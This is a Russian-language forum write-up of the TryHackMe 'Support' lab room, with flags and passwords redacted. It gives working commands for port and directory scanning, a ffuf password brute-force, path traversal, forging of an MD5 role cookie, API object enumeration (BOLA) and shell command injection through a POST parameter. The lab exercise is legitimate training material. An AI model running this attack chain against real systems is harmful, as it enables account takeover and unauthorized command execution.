ОБСУЖДЕНИЕ Writeup 

Прохождение комнаты Tryhackme - Support(Write Up)

N
Автор материалаNick1
Автор темы
Ссылка на аккаунт - https://tryhackme.com/p/Nick2.2
Вводные данные:
  1. Адрес комнаты - https://tryhackme.com/room/support
  2. Комната привязана к прохождению тематики курса Junior Penetration tester - темы по Session Management, Broken Authentication, File Inclusion, Command Injection, API Pentesting.
  3. Заявленная сложность - medium.
  4. Данные флагов скрыты в соответствии с Политикой ресурса TRYHACKME.
  5. В тексте отчета приведены различные IP-адреса комнаты, что связано с перезапуском лабораторного оборудования.
  6. Задания - найти 2 флага:
Какое значение флага отображается после входа в систему в качестве администратора ?
Что содержит файл /home/ubuntu/user.txt ?

Процесс исследования:

ЭТАП 1. Разведка и составление карты веб-приложения:
1.1. Первичное сканирование портов посредством nmap(быстрый скан всех открытых портов):

Код:
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 --open 10.114.150.3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-01 03:49 -0500
Nmap scan report for 10.114.150.3
Host is up (0.12s latency).
Not shown: 53997 filtered tcp ports (no-response), 11536 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 36.38 seconds
1.2. Детальное сканирование обнаруженных открытых портов с определением версий сервисов и служб, использованием дефолтных скриптов:
Код:
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p22,80 10.114.150.3           
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-01 03:51 -0500
Nmap scan report for 10.114.150.3
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ee:7a:f8:93:7d:f7:64:f3:7f:ad:12:bb:1d:00:d2:20 (ECDSA)
|_  256 25:c6:13:ce:ee:26:17:ad:b4:72:74:c5:b7:9c:ef:e3 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Support Operations Panel
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds

Необходимо обратить внимание на обнаруженную скриптом потенциальную уязвимость - отсутствие флага httponly у cookie-файлов веб-приложения на порту 80. Потенциальный вектор атаки - манипуляции с cookies.
1.3. Сканирование директорий с использованием gobuster:
Код:
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.112.178.250/ \                                                             
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-r    -x php,html,txt,bak,zip \
    -t 40 \   
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.112.178.250/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              zip,php,html,txt,bak
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
js                   (Status: 200) [Size: 959]
logout.php           (Status: 200) [Size: 2591]
config.php           (Status: 200) [Size: 0]
api.php              (Status: 200) [Size: 2591]
includes             (Status: 200) [Size: 1145]
info.php             (Status: 200) [Size: 73324]
skins                (Status: 200) [Size: 1535]
index.php            (Status: 200) [Size: 2591]
layout               (Status: 200) [Size: 955]
footer.php           (Status: 200) [Size: 1253]
dashboard.php        (Status: 200) [Size: 2591]
server-status        (Status: 403) [Size: 279]
Progress: 179994 / 179994 (100.00%)
===============================================================
Finished
===============================================================

ЭТАП 2. Поиск и эксплуатация уязвимостей.


По адресу страницы находится форма аутентификации для сотрудников, в которой осуществляется аутентификация через поля email и password.
1794421651562.webp

В конце страницы ссылка на почтовый адрес поддержки приложения - help@support.thm. Следовательно, данный почтовый адрес считаем валидным username.
Пробуем использовать подбор паролей методом перебора. Для этого воспользуемся утилитой ffuf со стандартным словарем rockyou.txt:

Код:
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://10.113.133.87/ \
  -X POST \
  -d "email=help%40support.thm&password=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w /usr/share/wordlists/rockyou.txt \
  -fr "Invalid credentials" \
  -t 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.113.133.87/
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : email=help%40support.thm&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid credentials
________________________________________________

{REDACTED}                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 7964ms]
Таким образом, путем подбора паролей методом перебора получаем пароль и аутентифицируемся под учетной записью help@support.thm.
1794421719526.webp

После аутентификации мы попадаем на страницу - http://10.113.133.87/dashboard.php
Вручную посещаем каждую страницу, обнаруженную ранее при переборе директорий. Большинство не представляет интереса, однако по адресам api.php и server-status доступ нам запрещен.


Просматриваем сетевые данные через инструменты разработчика. После аутентификации кроме сессионного cookie PHPSESSID обнаруживаем новый cookie isITUser. С учетом ранее обнаруженного отсутствия httponly, наличие cookie, вероятно указывающего на роль пользователя, является еще одним аргументом попробовать вектор атаки - манипуляции с cookies.


Также при использовании кнопки Select Theme обнаруживаем новый параметр:
http://10.113.133.87/dashboard.php?skin=default
1794421753644.webp

Пробуем параметр на уязвимость Path Traversal. Базовый payload - ../. Опытным путем подбираем рабочий payload - http://10.113.133.87/dashboard.php?skin=../config. Сама страница практически не меняется:
1794421771581.webp

Однако при просмотре исходного кода страницы обнаружен пароль, названный MASTER_PASSWORD - {REDACTED}
1794421834876.webp

В данный момент применить пароль некуда - у нас отсутствует username администратора. Поэтому пробуем следующий вектор - манипуляции с cookies, которые были обнаружены ранее.

Значение cookie isITUSER является хешем MD5. Дешифруем его через hashes.com и получаем значение false.
Меняем значение на true и снова хешируем: b326b5062b2f0e69046810717534cb09

Через расширение Cookie-Editor меняем значение cookie и получаем доступ к IT Admin Panel и Internal API.
1794421882920.webp

1794421867765.webp


Страница Internal API показывает возможность направить запрос для получения своих данных пользователя и показывает индексацию пользователей. Пробуем составить запрос через curl:
Код:
┌──(kali㉿kali)-[~]
└─$ curl -i -sS \
  -H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=nc0adeq7237killpsm8hd27chm' \
  http://10.113.133.87/user/1
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2026 16:45:29 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 80
Content-Type: application/json

{
    "email": "specialadmin@support.thm",
    "2FA": false,
    "admin": true
}     
┌──(kali㉿kali)-[~]
└─$ curl -i -sS \
  -H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=nc0adeq7237killpsm8hd27chm' \
  http://10.113.133.87/user/2
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2026 16:45:55 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 71
Content-Type: application/json

{
    "email": "IT@support.thm",
    "2FA": false,
    "admin": false
}

Итак, мы реализовали BOLA (Broken Object Level Authorisation) и через Internal API мы обнаружили почту администратора.

Однако, при вводе учетных данных (полученная почта администратора и ранее обнаруженный пароль MASTER_PASSWORD) мы снова обнаруживаем ошибку Invalid Credentials. Предполагаем, что пароль это одна из вариаций полученного значения MASTER_PASSWORD. После множества модификаций полученного пароля опытным путем сработало удаление символа @ из пароля.
После аутентификации получаем первый флаг - THM{REDACTED}
1794421974695.webp

В административной учетной записи появляется функция выбора отражения даты и времени. Смотрим исходный код страницы и обнаруживаем:
1794422002002.webp


Приложение отправляет POST-запрос с параметром sys, который отражает два возможных значения - дату либо дату и время. Можно предполагать, что параметр sys передает данные системной оболочке. Следовательно, предполагаем Command Injection.
Пробуем отправить POST-запрос с системной командой id:
Код:
┌──(kali㉿kali)-[~]
└─$ curl -i -sS -X POST \
  'http://10.113.133.87/api.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=hqh9hn8gsqgf9mi31kn61n6leo' \
  --data-urlencode 'sys=date; id'

Получаем результат (привожу только интересующую часть):
 <div class="alert alert-dark">
                <pre class="mb-0">Tue Nov 10 19:34:31 UTC 2026
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
            </div>
            </div>

По выводу видим, что команда id была выполнена, следовательно, подтверждена Command Injection. Далее пробуем прочитать заданный файл /home/ubuntu/user.txt:
Код:
(kali㉿kali)-[~]
└─$ curl -sS -X POST \
  'http://10.113.133.87/api.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=hqh9hn8gsqgf9mi31kn61n6leo' \
 
 
 
  --data-urlencode 'sys=date; cat /home/ubuntu/user.txt'
                    <div class="alert alert-dark">
                <pre class="mb-0">Tue Nov 10 19:38:20 UTC 2026
THM{REDACTED}</pre>
            </div>
            </div>
</footer>
1794422109189.webp

Таким образом, получен второй флаг.

Итоговое резюме:

Обнаруженные уязвимости:

  1. Слабый пароль учетной записи help@support.thm - подбор пароля реализован с помощью веб-фаззера ffuf и стандартного словаря rockyou.txt.
  2. Уязвимый параметр ?skin=default - позволил реализовать Path Traversal и получить доступ к закрытой директории config.
  3. Не удаленные разработчиком учетные данные в исходном коде страницы - позволили обнаружить пароль к административной учетной записи.
  4. Cookie isITUser хеширован, а не подписан криптографически - легко подбирается исходное значение, и открыта возможность к манипуляции значением - реализована замена значения cookie и получен частичный доступ к административной панели.
  5. BOLA (Broken Object Level Authorisation) - эндпоинт API приложения - api.php не проверяет, имеет ли пользователь право на конкретный запрошенный объект - в результате получена почта учетной записи администратора.
  6. Command Injection - в административной записи обнаружен параметр sys, отражающий дату и время, который передает данные системной оболочке - уязвимый к внедрению команд - через него реализовано получение данных из файловой системы.

Использованные инструменты:
  • nmap и gobuster - активная разведка, составление карты веб-приложения.
  • ffuf - подбор пароля.
  • curl, расширение Cookie-Editor - запросы к веб-приложению, манипуляции с cookie.
  • hashes.com - получение хешированного значения.
 
  • Нравится
Реакции: n1ght
1